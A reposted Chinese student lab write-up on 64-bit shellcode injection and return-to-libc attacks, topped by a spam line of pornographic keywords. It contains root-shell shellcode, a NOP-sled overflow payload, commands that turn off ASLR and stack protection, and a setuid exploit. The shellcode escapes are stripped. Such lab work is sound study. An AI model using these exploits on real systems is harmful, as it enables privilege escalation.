日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

2015306 白皎 《网络攻防》Exp1 进阶

發布時間:2023/12/15 综合教程 31 生活家
生活随笔 收集整理的這篇文章主要介紹了 2015306 白皎 《网络攻防》Exp1 进阶 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

2015306 白皎 《網絡攻防》Exp1 進階

Task1 64位shellcode的編寫及注入

-   自己編寫一個64位shellcode。參考shellcode指導。

-   自己編寫一個有漏洞的64位C程序,功能類似我們實驗1中的樣例pwn1。使用自己編寫的shellcode進行注入。

shellcode 主要的目的是調用系統函數,而在x86下 在linux下有兩種方式。

第一種是通過直接調用中斷 int 0x80進入內核態,從而達到調用目的。

第二種是通過調用libc里syscall(64位)和sysenter(32位)

1.首先通過資源找到root shell的匯編源碼

global _start  
  
_start:  
  
xor rdi,rdi  
xor rax,rax  
mov al,0x69  
syscall  
  
xor rdx, rdx  
mov rbx, 0x68732f6e69622fff  
shr rbx, 0x8  
push rbx  
mov rdi, rsp  
xor rax, rax  
push rax  
push rdi  
mov rsi, rsp  
mov al, 0x3b  
syscall

2.用nasm編譯,然后用ld進行鏈接。

3.但是這個代碼并不是能夠執行的shellcode ,但是我們可以通過編譯成可執行文件,而拿到我們需要的操作碼。(紅框內的48 32 ff 48 31 c0 就是我們需要的可執行的opcode代碼)

4.套用一個代碼測試我們的shellcode。

#include <stdio.h>  
#include <string.h>  
  
char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";  
  
int main(void)  
{  
fprintf(stdout,"Length: %d
",strlen(shellcode));  
(*(void(*)()) shellcode)();  
return 0;  
}  

通過運行結果,我們可以看到進入到root環境,這個shellcode是可以用噠。

注意事項:


并不是所有的可執行的shellcode都是可以被用于攻擊執行的,很重要的一點opcode中不允許有/x0出現,**因為函數在調用的時候遇到/x0是作為終止符,那么會導致shellcode不能被完整復制。**

因此,遇到/x0時,我在百度上看到可以用"/"代替0,或者用XOR代替MOV等等。

5.得到shellcode:

x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05

6.通過觀察main函數的匯編,可以發現,其中lea -0x200(%rbp),%rax 和mov %rax,%rdi這是把數組的首地址傳給strcpy,也就是-0x200(%rbp)這個地址,計算0x200是十進制 512, 整個數組的起始地址是%rbp-0x200, 而rbp是這個函數棧的基地址,而在上移8個byte是上個函數的執行到的位置地址,也就是要覆蓋前面的 512+8=520的位置,這個位置為退出函數后rip的執行地址的起始位置。

輸入以下命令,顯示的輸出即是首地址

./vulnerable `perl -e 'print "x90"x520'` 

7.構建環境

execstack -s pwn1    //設置堆棧可執行
execstack -q pwn1    //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space //當設置參數為0的時候,這樣每次起來的相同的程序的棧空間地址分配是一樣的
echo "0" > /proc/sys/kernel/randomize_va_space 通過設置參數為0 可以關閉random stack offset.

8.接下來,我們構造要注入的payload。
Linux下有兩種基本構造攻擊buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。

./buff `perl -e 'print "x90"x477;print "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";print "xf0xddxffxff"'`

最后的printf"xf0xddxffxffxff就是 就是我們想覆蓋的地址,我們把它改成&buffer的首地址。這樣當函數main退出后,rip 將會指向該地址,而這個地址是buffer數組的首地址,接著rip開始順著數組里的內容執行,那我們的shellcode就順利的被執行了。

但是很明顯失敗了,還在尋找原因中······

Task 2 ret2lib及rop的實踐

-   進一步學習并做ret2lib及rop的實踐,以繞過“堆棧執行保護”。參考ROP。

一、實踐基礎

為什么出現return-into-libc攻擊

緩沖區溢出的常用攻擊方法是將惡意代碼 shellcode 注入到程序中,并用其地址來覆蓋程序本身函數調用的返回地址,使得返回時執行此惡意代碼而不是原本應該執行的代碼。也就是說,這種攻擊在實施時通常首先要將惡意代碼注入目標漏洞程序中。但是,程序的代碼段通常設置為不可寫,因此攻擊者需要將此攻擊代碼置于堆棧中。

為了阻止此種類型的攻擊,緩沖區溢出防御機制采用了非執行堆棧技術,這種技術使得堆棧上的惡意代碼不可執行。而為了避開這種防御機制,緩沖區溢出又出現了新的變體return-into-libc 攻擊。return-into-libc 的攻擊者并不需要棧可以執行,甚至不需要注入新的代碼,就可以實現攻擊。取而代之的是我們讓漏洞程序跳轉到現存的代碼(比如已經載入內存的 libc庫中的system()函數等)來實現我們的攻擊。

return-into-libc原理

攻擊者能夠通過緩沖區溢出改寫返回地址為一個庫函數的地址,并且將此庫函數執行時的參數也重新寫入棧中。這樣當函數調用時獲取的是攻擊者設定好的參數值,并且結束后返回時就會返回到庫函數而不是 main()。而此庫函數實際上就幫助攻擊者執行了其惡意行為。

二、攻擊步驟

1.輸入命令安裝一些用于編譯 32 位 C 程序的東西。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev


2.輸入命令“linux32”進入 32 位 linux 環境。輸入“/bin/bash”使用 bash。
關閉地址空間隨機化,不能隨機堆(heap)和棧(stack)的初始地址。以及設置堆棧不可執行

gcc -z noexecstack -o test test.c  //棧不可執行

sudo sysctl -w kernel.randomize_va_space=0 //關閉地址隨機化



3.添加一個新用戶,可以參考教程:linux中新建一個用戶

4.即使你能欺騙一個 Set-UID 程序調用一個 shell,也不能在這個 shell 中保持 root 權限,這個防護措施在/bin/bash 中實現。
linux 系統中,/bin/sh 實際是指向/bin/bash 或/bin/dash 的一個符號鏈接。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何設置 zsh 程序。

5.把以下漏洞代碼保存為“retlib.c”文件,保存到 /tmp 目錄下,并進行編譯,設置。代碼如下:


include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly
");
fclose(badfile);
return 1;
}


6.編譯上述程序編譯該程序,并設置 SET-UID。

sudo su//獲取root權限

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//設置棧不可執行

chmod u+s retlib //給retlib程序的所有者以suid權限,可以像root用戶一樣操作

exit

7.此外,我們還需要用到一個讀取環境變量的程序,并通過 gcc -m32 -o getenvaddr getenvaddr.c進行編譯。

include <stdio.h>
include <stdlib.h>
include <string.h>

int main(int argc, char const *argv[])
{
 char *ptr;

 if(argc < 3){
    printf("Usage: %s <environment var> <target program name>
", argv[0]);
    exit(0);
    }
 ptr = getenv(argv[1]);
 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
 printf("%s will be at %p
", argv[1], ptr);
 return 0;
}


8.獲得 BIN_SH 地址

export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic

9.以下代碼為攻擊程序,保存為“exploit.c”文件,保存到 /tmp 目錄下。

include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");

 strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times

 *(long *) &buf[32] =0x11111111; // "http://bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}


10.獲取 system 和 exit 地址

gcc -m32 -g -o exploit exploit.c//編譯
gdb -q ./exploit//調試
b 10//設置斷點
run//運行到斷點處
p system//獲取system地址
p exit//獲取exit地址


11.修改 exploit.c 文件,填上剛才找到的內存地址。刪除剛才調試編譯的 exploit 程序和 badfile 文件,重新編譯修改后的 exploit.c。

12.首先運行攻擊程序,生成badfile文件,載運行漏洞程序,可以看到攻擊成功,獲得root權限。

Task 3

可研究實踐任何繞過前面預設條件的攻擊方法;可研究Windows平臺的類似技術實踐。

遇到的問題

1.在編譯retlib程序時,出現如下錯誤:bits/libs-header-start.h沒有那個文件或目錄

解決:下載sudo apt-get install lib32readline-gplv2-dev軟件包,即可解決

總結

以上是生活随笔為你收集整理的2015306 白皎 《网络攻防》Exp1 进阶的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。